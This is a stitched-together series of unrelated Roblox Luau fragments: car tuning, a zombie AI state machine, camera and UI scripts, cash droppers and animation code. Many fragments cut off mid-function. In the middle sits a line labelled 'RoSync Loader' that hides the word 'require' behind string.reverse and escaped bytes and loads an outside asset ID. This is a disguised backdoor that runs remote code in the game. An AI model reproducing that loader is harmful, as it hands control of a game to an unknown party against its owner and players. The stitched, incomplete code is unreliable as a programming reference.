b:Destroy() end rCyl.Parent = rWheel.Parts.Tires if _Tune.TiresVisible or _Tune.Debug then rCyl.Transparency = 0 else rCyl.Transparency = 1 end rCyl.Size = Vector3.new(rWheel.Size.X*(i/_Tune.TireCylinders),rWheel.Size.Y+(_Tune.RProfileHeight*GetTireCurve(_Tune.RTireProfile,i/_Tune.TireCylinders)),rWheel.Size.Y+(_Tune.RProfileHeight*GetTireCurve(_Tune.RTireProfile,i/_Tune.TireCylinders))) if (i/_Tune.TireCylinders < 1/3 and _Tune.RTireCompound == 3) or (i/_Tune.TireCylinders < 1/2 and _Tune.RTireCompound == 2) then WFriction(rCyl,_Tune.RTireFriction-.1) rCyl.Name = rCyl.Name.."L" elseif i/_Tune.TireCylinders >= 1/3 and i/_Tune.TireCylinders < 2/3 and _Tune.RTireCompound == 3 then WFriction(rCyl,(_Tune.RTireFriction+(_Tune.RTireFriction-.1))/2) rCyl.Name = rCyl.Name.."M" elseif i/_Tune.TireCylinders >= 2/3 or (i/_Tune.TireCylinders >= 1/2 and _Tune.RTireCompound == 2) or _Tune.RTireCompound == 1 then WFriction(rCyl,_Tune.RTireFriction) rCyl.Name = rCyl.Name.."H" end wait() end fWheel.CanCollide = false fWheel.Transparency = 1 rWheel.CanCollide = false rWheel.Transparency = 1
--Offset For Each New Ray For The Bullet's Trajectory
local offset = (parts.Parent.Gun.Muzzle.CFrame*CFrame.new(math.random(-5,5)/3,100,math.random(-5,5)/3).p - parts.Parent.Gun.Muzzle.Position).unit *script.Parent.Stats.GunVelocity.Value local point1 = parts.Parent.Gun.Muzzle.Position
-- -- Go through each valid target to see if within field of view and if there is -- -- clear line of sight. Field of view treated as wedge in front of character. -- for _, character in pairs(characters) do -- local toTarget = (character.Torso.Position - model.Torso.Position) -- toTarget = Vector3.new(toTarget.X, 0, toTarget.Z) -- local angle = math.acos(toTarget:Dot(model.Torso.CFrame.lookVector)/toTarget.magnitude) -- if math.deg(angle) < configs["FieldOfView"]/2 then -- ZombieTarget = character -- -- raycast to see if target is actually visible -- local toTarget = Ray.new(model.Torso.Position, (ZombieTarget.Torso.Position - model.Torso.Position)) -- local part, position = game.Workspace:FindPartOnRayWithIgnoreList(toTarget, zombies) -- if part and part.Parent == ZombieTarget then -- return true -- end -- ZombieTarget = nil -- end -- end
end return false end CanSeeTarget.TransitionState = PursueState -- TargetDead: Check if target is dead. local TargetDead = StateMachine.NewCondition() TargetDead.Name = "TargetDead" TargetDead.Evaluate = function() if ZombieTarget and ZombieTarget.Humanoid then return ZombieTarget.Humanoid.Health <= 0 end return true end TargetDead.TransitionState = IdleState -- GotDamaged: Check if NPC has taken damage local lastHealth = model.Humanoid.Health local GotDamaged = StateMachine.NewCondition() GotDamaged.Name = "GotDamaged" GotDamaged.Evaluate = function() if model then if lastHealth > model.Humanoid.Health then return true end end return false end GotDamaged.TransitionState = SearchState -- GotBored: Used to provide random state change. local GotBored = StateMachine.NewCondition() GotBored.Name = "GotBored" GotBored.Evaluate = function() local now = os.time() if now - lastBored > configs["BoredomDuration"] then local roll = math.random() if roll < configs["ChanceOfBoredom"] then lastBored = now if GotBored.TransitionState == SearchState then GotBored.TransitionState = IdleState else GotBored.TransitionState = SearchState end return true end end return false end GotBored.TransitionState = IdleState -- LostTarget: Checks clear line of sight local LostTarget = StateMachine.NewCondition() LostTarget.Name = "LostTarget" LostTarget.Evaluate = function() if true then return false end if ZombieTarget then if (ZombieTarget.Torso.Position - model.Torso.Position).magnitude > 10 then local toTarget = Ray.new(model.Torso.Position, (ZombieTarget.Torso.Position - model.Torso.Position)) local part, position = game.Workspace:FindPartOnRay(toTarget, model) if not part or part.Parent ~= ZombieTarget then --print("Lost target!") ZombieTargetLastLocation = ZombieTarget.Torso.Position ZombieTarget = nil return true end end end return false end LostTarget.TransitionState = HuntState local WithinRange = StateMachine.NewCondition() WithinRange.Name = "WithinRange" WithinRange.Evaluate = function() if ZombieTarget then local distance = (model.Torso.Position - ZombieTarget.Torso.Position).magnitude if distance < configs["AttackRange"] then --print("Within attack range!") return true end end return false end WithinRange.TransitionState = AttackState local OutsideRange = StateMachine.NewCondition() OutsideRange.Name = "OutsideRange" OutsideRange.Evaluate = function() if ZombieTarget then local distance = (model.Torso.Position - ZombieTarget.Torso.Position).magnitude if distance > configs["AttackRange"] then --print("Outside attack range!") return true end end return false end OutsideRange.TransitionState = PursueState table.insert(IdleState.Conditions, CanSeeTarget) table.insert(IdleState.Conditions, GotDamaged) table.insert(IdleState.Conditions, GotBored) table.insert(SearchState.Conditions, GotBored) table.insert(SearchState.Conditions, CanSeeTarget) table.insert(PursueState.Conditions, LostTarget) table.insert(PursueState.Conditions, WithinRange) table.insert(PursueState.Conditions, TargetDead) table.insert(AttackState.Conditions, OutsideRange) table.insert(AttackState.Conditions, TargetDead) table.insert(HuntState.Conditions, GotBored) table.insert(HuntState.Conditions, CanSeeTarget) -- Setup arms damage local canHit = true local lastHit = os.time() local function handleHit(other) if canHit then if other and other.Parent and other.Parent.Name ~= "Drooling Zombie" and other.Parent:FindFirstChild("Humanoid") then local enemy = other.Parent if enemy.Humanoid.WalkSpeed > 0 then enemy.Humanoid.Health = enemy.Humanoid.Health - configs["Damage"] canHit = false end end else local now = os.time() if now - lastHit > configs["DamageCooldown"] then lastHit = now canHit = true end end end local leftHitConnect, rightHitConnect leftHitConnect = model:FindFirstChild("Left Arm").Touched:connect(handleHit) rightHitConnect = model:FindFirstChild("Right Arm").Touched:connect(handleHit) --ZombieAI.Animate(model) --updateDisplay() --updateDisplay(model.BillboardGui.TextLabel, StateMachine.CurrentState) local thread = coroutine.create(function() while true do wait() -- calculate repulsion force local humanoids = HumanoidList:GetCurrent() local localZombies = {} for _, humanoid in pairs(humanoids) do if humanoid and humanoid ~= model.Humanoid and humanoid.Parent and humanoid.Parent:FindFirstChild("Torso") then local torso = humanoid.Parent:FindFirstChild("Torso") local distance = (model.Torso.Position - torso.Position).magnitude if distance <= 2.5 then table.insert(localZombies, torso.Position) end end end local repulsionDirection = AIUtilities:GetRepulsionVector(model.Torso.Position, localZombies) if repulsionDirection.magnitude > 0 then --print("replusion direction: " .. tostring(repulsionDirection)) end model.Torso.RepulsionForce.force = repulsionDirection if StateMachine.CurrentState and model.Configurations.Debug.Value then model.BillboardGui.TextLabel.Visible = true model.BillboardGui.TextLabel.Text = StateMachine.CurrentState.Name end if not model.Configurations.Debug.Value then model.BillboardGui.TextLabel.Visible = false end end end) coroutine.resume(thread) StateMachine.SwitchState(IdleState) zombie.Stop = function() StateMachine.SwitchState(nil) end return zombie end return ZombieAI
--[[ Turns the system on ]]
function BaseSystem:turnOn() if self._isOn then Logger.warn("Trying to turn on system, but it is already on") return end self._isOn = true Logger.debug("System is now on") sendAlert(Constants.Alert.Normal, translate("{name} is now on!", {name = self.name})) self:_setMarker(nil) return true end
-- Menus
function Icon:setMenu(arrayOfIcons) -- Reset any previous icons for i, otherIcon in pairs(self.menuIcons) do otherIcon:leave() end -- Apply new icons for i, otherIcon in pairs(arrayOfIcons) do otherIcon:join(self, "menu", true) end -- Update menu self:_updateMenu() return self end function Icon:_getMenuDirection() local direction = (self:get("menuDirection") or "_NIL"):lower() local alignment = (self:get("alignment") or "_NIL"):lower() if direction ~= "left" and direction ~= "right" then direction = (alignment == "left" and "right") or "left" end return direction end function Icon:_updateMenu() local values = { maxIconsBeforeScroll = self:get("menuMaxIconsBeforeScroll") or "_NIL", direction = self:get("menuDirection") or "_NIL", iconAlignment = self:get("alignment") or "_NIL", scrollBarThickness = self:get("menuScrollBarThickness") or "_NIL", } for k, v in pairs(values) do if v == "_NIL" then return end end local XPadding = IconController[values.iconAlignment.."Gap"]--12 local menuContainer = self.instances.menuContainer local menuFrame = self.instances.menuFrame local menuList = self.instances.menuList local totalIcons = #self.menuIcons local direction = self:_getMenuDirection() local lastVisibleIconIndex = (totalIcons > values.maxIconsBeforeScroll and values.maxIconsBeforeScroll) or totalIcons local newCanvasSizeX = -XPadding local newFrameSizeX = 0 local newMinHeight = 0 local sortFunc = (direction == "right" and function(a,b) return a:get("order") < b:get("order") end) or function(a,b) return a:get("order") > b:get("order") end table.sort(self.menuIcons, sortFunc) for i = 1, totalIcons do local otherIcon = self.menuIcons[i] local otherIconSize = otherIcon:get("iconSize") local increment = otherIconSize.X.Offset + XPadding if i <= lastVisibleIconIndex then newFrameSizeX = newFrameSizeX + increment end if i == lastVisibleIconIndex and i ~= totalIcons then newFrameSizeX = newFrameSizeX -2--(increment/4) end newCanvasSizeX = newCanvasSizeX + increment local otherIconHeight = otherIconSize.Y.Offset if otherIconHeight > newMinHeight then newMinHeight = otherIconHeight end end local canvasSize = (lastVisibleIconIndex == totalIcons and 0) or newCanvasSizeX + XPadding self:set("menuCanvasSize", UDim2.new(0, canvasSize, 0, 0)) self:set("menuSize", UDim2.new(0, newFrameSizeX, 0, newMinHeight + values.scrollBarThickness + 3)) -- Set direction local directionDetails = { left = { containerAnchorPoint = Vector2.new(1, 0), containerPosition = UDim2.new(0, -4, 0, 0), canvasPosition = Vector2.new(canvasSize, 0) }, right = { containerAnchorPoint = Vector2.new(0, 0), containerPosition = UDim2.new(1, XPadding-2, 0, 0), canvasPosition = Vector2.new(0, 0), } } local directionDetail = directionDetails[direction] menuContainer.AnchorPoint = directionDetail.containerAnchorPoint menuContainer.Position = directionDetail.containerPosition menuFrame.CanvasPosition = directionDetail.canvasPosition self._menuCanvasPos = directionDetail.canvasPosition menuList.Padding = UDim.new(0, XPadding) end function Icon:_menuIgnoreClipping() self:_ignoreClipping("menu") end
-------------------------------------------------------------------------------- -- Popper.lua -- Prevents your camera from clipping through walls. --------------------------------------------------------------------------------
local Players = game:GetService('Players') local FFlagUserPoppercamLooseOpacityThreshold do local success, enabled = pcall(function() return UserSettings():IsUserFeatureEnabled("UserPoppercamLooseOpacityThreshold") end) FFlagUserPoppercamLooseOpacityThreshold = success and enabled end local camera = game.Workspace.CurrentCamera local min = math.min local tan = math.tan local rad = math.rad local inf = math.huge local ray = Ray.new local function getTotalTransparency(part) return 1 - (1 - part.Transparency)*(1 - part.LocalTransparencyModifier) end local function eraseFromEnd(t, toSize) for i = #t, toSize + 1, -1 do t[i] = nil end end local nearPlaneZ, projX, projY do local function updateProjection() local fov = rad(camera.FieldOfView) local view = camera.ViewportSize local ar = view.X/view.Y projY = 2*tan(fov/2) projX = ar*projY end camera:GetPropertyChangedSignal('FieldOfView'):Connect(updateProjection) camera:GetPropertyChangedSignal('ViewportSize'):Connect(updateProjection) updateProjection() nearPlaneZ = camera.NearPlaneZ camera:GetPropertyChangedSignal('NearPlaneZ'):Connect(function() nearPlaneZ = camera.NearPlaneZ end) end local blacklist = {} do local charMap = {} local function refreshIgnoreList() local n = 1 blacklist = {} for _, character in pairs(charMap) do blacklist[n] = character n = n + 1 end end local function playerAdded(player) local function characterAdded(character) charMap[player] = character refreshIgnoreList() end local function characterRemoving() charMap[player] = nil refreshIgnoreList() end player.CharacterAdded:Connect(characterAdded) player.CharacterRemoving:Connect(characterRemoving) if player.Character then characterAdded(player.Character) end end local function playerRemoving(player) charMap[player] = nil refreshIgnoreList() end Players.PlayerAdded:Connect(playerAdded) Players.PlayerRemoving:Connect(playerRemoving) for _, player in ipairs(Players:GetPlayers()) do playerAdded(player) end refreshIgnoreList() end
-- Modules
Security = require(script.Security) History = require(script.History) Selection = require(script.Selection) Targeting = require(script.Targeting)
-- [[ Services ]]
local Players = game:GetService("Players") local PhysicsService = game:GetService("PhysicsService")
-- Variables
local statesTemplate = script:WaitForChild("Player")
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take Cooldown = 0 -- cooldown for use of the tool again BoneModelName = "God Spear" -- name the zone model HumanoidName = "Humanoid"-- the name of player or mob u want to damage
-- Change the rotation:
function CamLock.DeltaRotation(horizontal, vertical) SetRotation(viewRotH + horizontal, viewRotV + vertical) end
--Functions
local function onTouched(hit) local Humanoid = hit.Parent:FindFirstChild("Humanoid") local player = game.Players:GetPlayerFromCharacter(hit.Parent) if Humanoid and Debounce == false then local leaderstats = player:FindFirstChild("leaderstats") Debounce = true if Debounce == true and leaderstats then leaderstats.Guesses.Value = leaderstats.Guesses.Value + AMOUNT_GIVEN local sound = script.Parent["Game Sound Correct"] if not sound.IsPlaying then sound:Play() wait(2) wait(10) end end end end
-- MAIN SCRIPT --
AlignOrientation.CFrame = script.Parent.CFrame * CFrame.Angles(math.rad(-1), 0, 0) wait(23) RotateBlimp().Completed:Connect(function() wait(3) RotateBlimp().Completed:Connect(function() wait(20) script.Parent:Destroy() end) end)
--Remove value
function module:RemoveStat(player, locationName, newValue) local location = main.pd[player][locationName] if location then for i,v in pairs(location) do if tostring(v) == tostring(newValue) then table.remove(main.pd[player][locationName], i) main.pd[player].DataToUpdate = true main.signals.RemoveStat:FireClient(player, {locationName, newValue}) break end end end end
-- Update. Called every frame after the camera movement step
function Invisicam:Update() -- Make sure we still have a Torso if not Torso then local humanoid = Character:FindFirstChildOfClass("Humanoid") if humanoid and humanoid.Torso then Torso = humanoid.Torso else -- Not set up with Humanoid? Try and see if there's one in the Character at all: Torso = Character:FindFirstChild("HumanoidRootPart") if not Torso then -- Bail out, since we're relying on Torso existing return end end local ancestryChangedConn; ancestryChangedConn = Torso.AncestryChanged:connect(function(child, parent) if child == Torso and not parent then Torso = nil if ancestryChangedConn and ancestryChangedConn.Connected then ancestryChangedConn:Disconnect() ancestryChangedConn = nil end end end) end -- Make a list of world points to raycast to local castPoints = {} BehaviorFunction(castPoints) -- Cast to get a list of objects between the camera and the cast points local currentHits = {} local ignoreList = {Character} local function add(hit) currentHits[hit] = true if not SavedHits[hit] then SavedHits[hit] = hit.LocalTransparencyModifier end end local hitParts = Camera:GetPartsObscuringTarget(castPoints, ignoreList) for i = 1, #hitParts do local hitPart = hitParts[i] add(hitPart) for _, child in pairs(hitPart:GetChildren()) do if child:IsA('Decal') or child:IsA('Texture') then add(child) end end end -- Fade out objects that are in the way, restore those that aren't anymore for hit, originalFade in pairs(SavedHits) do local currentFade = hit.LocalTransparencyModifier if currentHits[hit] then -- Fade if currentFade < FADE_TARGET then hit.LocalTransparencyModifier = math_min(currentFade + FADE_RATE, FADE_TARGET) end else -- Restore if currentFade > originalFade then hit.LocalTransparencyModifier = math_max(originalFade, currentFade - FADE_RATE) else SavedHits[hit] = nil end end end end function Invisicam:SetMode(newMode) AssertTypes(newMode, 'number') for modeName, modeNum in pairs(MODE) do if modeNum == newMode then Mode = newMode BehaviorFunction = Behaviors[Mode] return end end error("Invalid mode number") end function Invisicam:SetCustomBehavior(func) AssertTypes(func, 'function') Behaviors[MODE.CUSTOM] = func if Mode == MODE.CUSTOM then BehaviorFunction = func end end
-- local suc,er = pcall(function() -- MessageData = HTTPSERVICE:JSONEncode(MessageData) -- HTTPSERVICE:PostAsync(URL,MessageData) -- end) -- if suc then
--// Damage Settings
BaseDamage = 35; -- Torso Damage LimbDamage = 23; -- Arms and Legs ArmorDamage = 15; -- How much damage is dealt against armor (Name the armor "Armor") HeadDamage = 1000; -- If you set this to 100, there's a chance the player won't die because of the heal script
--[=[ Parses a localization table and adds a pseudo localized locale to the table. @param localizationTable LocalizationTable -- LocalizationTable to add to. @param preferredLocaleId string? -- Preferred locale to use. Defaults to "qlp-pls" @param preferredFromLocale string? -- Preferred from locale. Defaults to "en-us" @return string -- The translated line ]=]
function PseudoLocalize.addToLocalizationTable(localizationTable, preferredLocaleId, preferredFromLocale) local localeId = preferredLocaleId or DEFAULT_PSEUDO_LOCALE_ID local fromLocale = preferredFromLocale or "en" local entries = localizationTable:GetEntries() for _, entry in pairs(entries) do if not entry.Values[localeId] then local line = entry.Values[fromLocale] if line then entry.Values[localeId] = PseudoLocalize.pseudoLocalize(line) else warn(("[PseudoLocalize.addToLocalizationTable] - No entry in key %q for locale %q") :format(entry.Key, fromLocale)) end end end localizationTable:SetEntries(entries) end
--------------------
while true do wait(1.5) -- How long in between drops local part = Instance.new("Part",workspace.PartStorage) --part.BrickColor=script.Parent.Parent.Parent.DropColor.Value --part.Material=script.Parent.Parent.Parent.MaterialValue.Value local cash = Instance.new("IntValue",part) cash.Name = "Cash" cash.Value = 100 -- How much the drops are worth part.CFrame = script.Parent.Drop.CFrame - Vector3.new(0,5,0) part.FormFactor = "Custom" part.Size=Vector3.new(0.2, 0.2, 0.2) -- Size of the drops if meshDrop == true then local m = Instance.new("SpecialMesh",part) m.MeshId = meshID m.TextureId = textureID end part.TopSurface = "Smooth" part.BottomSurface = "Smooth" game.Debris:AddItem(part,20) -- How long until the drops expire end
--|| VARIABLES ||--
local Player = Players.LocalPlayer local Character = script.Parent local Humanoid = Character:WaitForChild"Humanoid" local HumanoidRootPart = Character.HumanoidRootPart local Torso = Character.Torso local RootJoint = HumanoidRootPart.RootJoint local LeftHipJoint = Torso["Left Hip"] local RightHipJoint = Torso["Right Hip"] local function Lerp(a, b, c) return a + (b - a) * c end local Force = nil local Direction = nil local Value1 = 0 local Value2 = 0 local RootJointC0 = RootJoint.C0 local LeftHipJointC0 = LeftHipJoint.C0 local RightHipJointC0 = RightHipJoint.C0 RunService.RenderStepped:Connect(function() Force = HumanoidRootPart.Velocity * Vector3.new(1,0,1) if Force.Magnitude > 2 then Direction = Force.Unit Value1 = HumanoidRootPart.CFrame.RightVector:Dot(Direction) Value2 = HumanoidRootPart.CFrame.LookVector:Dot(Direction) else Value1 = 0 Value2 = 0 end RootJoint.C0 = RootJoint.C0:Lerp(RootJointC0 * CFrame.Angles(math.rad(Value2 * 7), math.rad(-Value1 * 7), 0), 0.2) LeftHipJoint.C0 = LeftHipJoint.C0:Lerp(LeftHipJointC0 * CFrame.Angles(math.rad(-Value1 * 7), 0, 0), 0.2) RightHipJoint.C0 = RightHipJoint.C0:Lerp(RightHipJointC0 * CFrame.Angles(math.rad(Value1 * 7), 0, 0), 0.2) end)
-- Returns whether the playerSelected's status is appropriate for the playerFiring
function GetProfileRemoteFunction.OnServerInvoke(playerFiring, playerSelected, statusText) local filteredStatus = filterText(statusText, playerSelected.UserId, playerFiring.UserId) return { success = filteredStatus == statusText } end
--//seats
local hd = Instance.new("Motor", script.Parent.Parent.Misc.HD.SS) hd.MaxVelocity = 0.03 hd.Part0 = script.Parent.HD hd.Part1 = hd.Parent
-- GROUPS
Groups = { [0] = { [254] = "NonAdmin"; [1] = "NonAdmin"; }; };
--[[Steering]]
Tune.SteerInner = 48 -- Inner wheel steering angle (in degrees) Tune.SteerOuter = 43 -- Outer wheel steering angle (in degrees) Tune.SteerSpeed = .05 -- Steering increment per tick (in degrees) Tune.ReturnSpeed = .1 -- Steering increment per tick (in degrees) Tune.SteerDecay = 320 -- Speed of gradient cutoff (in SPS) Tune.MinSteer = 10 -- Minimum steering at max steer decay (in percent) Tune.MSteerExp = 1 -- Mouse steering exponential degree --Steer Gyro Tuning Tune.SteerD = 1000 -- Steering Dampening Tune.SteerMaxTorque = 50000 -- Steering Force Tune.SteerP = 100000 -- Steering Aggressiveness
--mute button stuff
local canmute = settings.DisplayMuteButton local musicon = true function CreateButton() local button = script.MuteButton:clone() script.MuteButton:Destroy() button.Visible = true button.MouseButton1Click:connect(function() musicon = not musicon local bgm = script:FindFirstChild("BGM") if bgm then bgm.Volume = musicon and bgm.OriginalVolume.Value or 0 end end) button.Parent = plr:WaitForChild("PlayerGui").PlayerHud.PlayerHUD.Settings.Content.Music end function CharInit() char = plr.Character torso = char:WaitForChild("HumanoidRootPart") if canmute then CreateButton() end end if plr.Character and plr.Character.Parent ~= nil then CharInit() end plr.CharacterAdded:connect(function() CharInit() end)
--[[ Recursively step through a table and print all of its keys and values ]]
--if hood.Velocity.magnitude < 15 then return end -- must be going decently fast to break stuff... can add invisible "prebumpers" in the future to make collisions smoother
if hood.CFrame:vectorToObjectSpace(hood.Velocity):Dot(direction) < 5 then return end -- must be going fast in correct direction to break stuff if hit and hit.Parent then if hit.Parent:FindFirstChild("Humanoid") then --hit.Parent:BreakJoints() let's not kill 'em... for now hit.Parent.Humanoid.Sit = true -- but we do make 'em flyyyy! XD elseif hit:FindFirstChild("RobloxModel") and not hit:FindFirstChild("RunOver") and isSmallerThanVehicle(hit) then local newModel = hit:Clone() local modelParent = hit.Parent local newRunOverTag = Instance.new("BoolValue") newRunOverTag.Name = "RunOver" newRunOverTag.Parent = hit hit:BreakJoints() debris:AddItem(hit, timeToRespawn) coroutine.resume(coroutine.create(respawnIt), newModel, modelParent) elseif hit.Parent:FindFirstChild("RobloxModel") and not hit.Parent:FindFirstChild("RunOver") and isSmallerThanVehicle(hit.Parent) then local newModel = hit.Parent:Clone() local modelParent = hit.Parent.Parent local newRunOverTag = Instance.new("BoolValue") newRunOverTag.Name = "RunOver" newRunOverTag.Parent = hit.Parent hit.Parent:BreakJoints() debris:AddItem(hit.Parent, timeToRespawn) coroutine.resume(coroutine.create(respawnIt), newModel, modelParent) end end end
-- Managers
local weapons = require(game:GetService("ServerScriptService").Managers.Weapon) local vehicles = require(game:GetService("ServerScriptService").Managers.Vehicle) local twitter = require(game:GetService("ServerScriptService").Database.TwitterCodes) local damageReplicator = require(game:GetService("ServerScriptService").Managers.DamageReplicator) local projectiles = require(game:GetService("ReplicatedStorage").Weapons.Projectiles)
--[=[ Converts a set to a list @param set table @param otherSet table @return table ]=]
function Set.differenceUpdate(set, otherSet) for value, _ in pairs(otherSet) do set[value] = nil end end
-- Functional services
UserInputService = game:GetService("UserInputService")
-- EXTRA --
CS:GetInstanceAddedSignal(Tag):Connect(function(v) if v:IsA("Model") and v:IsDescendantOf(workspace) then RagdollModule:Setup(v) end end)
--[[ Package link auto-generated by Rotriever ]]
local PackageIndex = script.Parent._Index local Package = require(PackageIndex["ExternalEventConnection"]["ExternalEventConnection"]) return Package
-- no touchy
local path = pfs:CreatePath() local waypoint local currentWaypointIndex local target function findNearestTorso(pos) local list = game.Workspace:children() local torso = nil local dist = Settings.WalkDistance.Value local temp = nil local human = nil local temp2 = nil for x = 1, #list do temp2 = list[x] if (temp2.className == "Model") and (temp2 ~= script.Parent) then temp = temp2:findFirstChild("HumanoidRootPart") human = temp2:findFirstChild("Humanoid") if (temp ~= nil) and (human ~= nil) and (human.Health > 0) and players:GetPlayerFromCharacter(human.Parent)~= nil then if (temp.Position - pos).magnitude < dist then torso = temp dist = (temp.Position - pos).magnitude end end end end return torso end
--------------------
while true do wait(1.5) -- How long in between drops local part = Instance.new("Part",workspace.PartStorage) --part.BrickColor=script.Parent.Parent.Parent.DropColor.Value --part.Material=script.Parent.Parent.Parent.MaterialValue.Value local cash = Instance.new("IntValue",part) cash.Name = "Cash" cash.Value = 12 -- How much the drops are worth part.CFrame = script.Parent.Drop.CFrame - Vector3.new(0,5,0) part.FormFactor = "Custom" part.Size=Vector3.new(1, 5, 4) -- Size of the drops if meshDrop == true then local m = Instance.new("SpecialMesh",part) m.MeshId = meshID m.TextureId = textureID end part.TopSurface = "Smooth" part.BottomSurface = "Smooth" game.Debris:AddItem(part,20) -- How long until the drops expire end
--- Handles user input when the box is focused
function Window:BeginInput(input, gameProcessed) if GuiService.MenuIsOpen then self:Hide() end if gameProcessed and self:IsVisible() == false then return end if self.Cmdr.ActivationKeys[input.KeyCode] then -- Activate the command bar if self.Cmdr.MashToEnable and not self.Cmdr.Enabled then if tick() - lastPressTime < 1 then if pressCount >= 5 then return self.Cmdr:SetEnabled(true) else pressCount = pressCount + 1 end else pressCount = 1 end lastPressTime = tick() elseif self.Cmdr.Enabled then self:SetVisible(not self:IsVisible()) wait() self:SetEntryText("") if GuiService.MenuIsOpen then -- Special case for menu getting stuck open (roblox bug) self:Hide() end end return end if self.Cmdr.Enabled == false or not self:IsVisible() then if self:IsVisible() then self:Hide() end return end if self.Cmdr.HideOnLostFocus and table.find(MOUSE_TOUCH_ENUM, input.UserInputType) then local ps = input.Position local ap = Gui.AbsolutePosition local as = Gui.AbsoluteSize if ps.X < ap.X or ps.X > ap.X + as.X or ps.Y < ap.Y or ps.Y > ap.Y + as.Y then self:Hide() end elseif input.KeyCode == Enum.KeyCode.Down then -- Auto Complete Down self:SelectVertical(1) elseif input.KeyCode == Enum.KeyCode.Up then -- Auto Complete Up self:SelectVertical(-1) elseif input.KeyCode == Enum.KeyCode.Return then -- Eat new lines wait() self:SetEntryText(self:GetEntryText():gsub("\n", ""):gsub("\r", "")) elseif input.KeyCode == Enum.KeyCode.Tab then -- Auto complete local item = self.AutoComplete:GetSelectedItem() local text = self:GetEntryText() if item and not (text:sub(#text, #text):match("%s") and self.AutoComplete.LastItem) then local replace = item[2] local newText local insertSpace = true local command = self.AutoComplete.Command if command then local lastArg = self.AutoComplete.Arg newText = command.Alias insertSpace = self.AutoComplete.NumArgs ~= #command.ArgumentDefinitions and self.AutoComplete.IsPartial == false local args = command.Arguments for i = 1, #args do local arg = args[i] local segments = arg.RawSegments if arg == lastArg then segments[#segments] = replace end local argText = arg.Prefix .. table.concat(segments, ",") -- Put auto completion options in quotation marks if they have a space if argText:find(" ") or argText == "" then argText = ("%q"):format(argText) end newText = ("%s %s"):format(newText, argText) if arg == lastArg then break end end else newText = replace end -- need to wait a frame so we can eat the \t wait() -- Update the text box self:SetEntryText(newText .. (insertSpace and " " or "")) else -- Still need to eat the \t even if there is no auto-complete to show wait() self:SetEntryText(self:GetEntryText()) end else self:ClearHistoryState() end end
-- Fetch the ID list
local IDList = require(script.IDList)
-- List of creatable textures
local TextureTypes = { 'Decal', 'Texture' };
------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------------
function onRunning(speed) if speed > 0.01 then playAnimation("walk", 0.1, Humanoid) if currentAnimInstance then setAnimationSpeed(speed / 14.5) end pose = "Running" else if emoteNames[currentAnim] == nil then playAnimation("idle", 0.1, Humanoid) pose = "Standing" end end end function onDied() pose = "Dead" end function onJumping() playAnimation("jump", 0.1, Humanoid) jumpAnimTime = jumpAnimDuration pose = "Jumping" end function onClimbing(speed) playAnimation("climb", 0.1, Humanoid) setAnimationSpeed(speed / 12.0) pose = "Climbing" end function onGettingUp() pose = "GettingUp" end function onFreeFall() if (jumpAnimTime <= 0) then playAnimation("fall", fallTransitionTime, Humanoid) end pose = "FreeFall" end function onFallingDown() pose = "FallingDown" end function onSeated() pose = "Seated" end function onPlatformStanding() pose = "PlatformStanding" end function onSwimming(speed) if speed > 0 then pose = "Running" else pose = "Standing" end end function getTool() for _, kid in ipairs(Figure:GetChildren()) do if kid.className == "Tool" then return kid end end return nil end function getToolAnim(tool) for _, c in ipairs(tool:GetChildren()) do if c.Name == "toolanim" and c.className == "StringValue" then return c end end return nil end function animateTool() if (toolAnim == "None") then playToolAnimation("toolnone", toolTransitionTime, Humanoid, Enum.AnimationPriority.Idle) return end if (toolAnim == "Slash") then playToolAnimation("toolslash", 0, Humanoid, Enum.AnimationPriority.Action) return end if (toolAnim == "Lunge") then playToolAnimation("toollunge", 0, Humanoid, Enum.AnimationPriority.Action) return end end function moveSit() RightShoulder.MaxVelocity = 0.15 LeftShoulder.MaxVelocity = 0.15 RightShoulder:SetDesiredAngle(3.14 /2) LeftShoulder:SetDesiredAngle(-3.14 /2) RightHip:SetDesiredAngle(3.14 /2) LeftHip:SetDesiredAngle(-3.14 /2) end local lastTick = 0 function move(time) local amplitude = 1 local frequency = 1 local deltaTime = time - lastTick lastTick = time local climbFudge = 0 local setAngles = false if (jumpAnimTime > 0) then jumpAnimTime = jumpAnimTime - deltaTime end if (pose == "FreeFall" and jumpAnimTime <= 0) then playAnimation("fall", fallTransitionTime, Humanoid) elseif (pose == "Seated") then playAnimation("sit", 0.5, Humanoid) return elseif (pose == "Running") then playAnimation("walk", 0.1, Humanoid) elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then
--[[ Last synced 4/4/2021 09:13 RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
-- Movement mode standardized to Enum.ComputerCameraMovementMode values
function ClassicCamera:SetCameraMovementMode(cameraMovementMode: Enum.ComputerCameraMovementMode) BaseCamera.SetCameraMovementMode(self, cameraMovementMode) self.isFollowCamera = cameraMovementMode == Enum.ComputerCameraMovementMode.Follow self.isCameraToggle = cameraMovementMode == Enum.ComputerCameraMovementMode.CameraToggle end function ClassicCamera:Update() local now = tick() local timeDelta = now - self.lastUpdate local camera = workspace.CurrentCamera local newCameraCFrame = camera.CFrame local newCameraFocus = camera.Focus local overrideCameraLookVector = nil if self.resetCameraAngle then local rootPart: BasePart = self:GetHumanoidRootPart() if rootPart then overrideCameraLookVector = (rootPart.CFrame * INITIAL_CAMERA_ANGLE).lookVector else overrideCameraLookVector = INITIAL_CAMERA_ANGLE.lookVector end self.resetCameraAngle = false end local player = PlayersService.LocalPlayer local humanoid = self:GetHumanoid() local cameraSubject = camera.CameraSubject local isInVehicle = cameraSubject and cameraSubject:IsA("VehicleSeat") local isOnASkateboard = cameraSubject and cameraSubject:IsA("SkateboardPlatform") local isClimbing = humanoid and humanoid:GetState() == Enum.HumanoidStateType.Climbing if self.lastUpdate == nil or timeDelta > 1 then self.lastCameraTransform = nil end local rotateInput = CameraInput.getRotation() self:StepZoom() local cameraHeight = self:GetCameraHeight() -- Reset tween speed if user is panning if CameraInput.getRotation() ~= Vector2.new() then tweenSpeed = 0 self.lastUserPanCamera = tick() end local userRecentlyPannedCamera = now - self.lastUserPanCamera < TIME_BEFORE_AUTO_ROTATE local subjectPosition: Vector3 = self:GetSubjectPosition() if subjectPosition and player and camera then local zoom = self:GetCameraToSubjectDistance() if zoom < 0.5 then zoom = 0.5 end if self:GetIsMouseLocked() and not self:IsInFirstPerson() then -- We need to use the right vector of the camera after rotation, not before local newLookCFrame: CFrame = 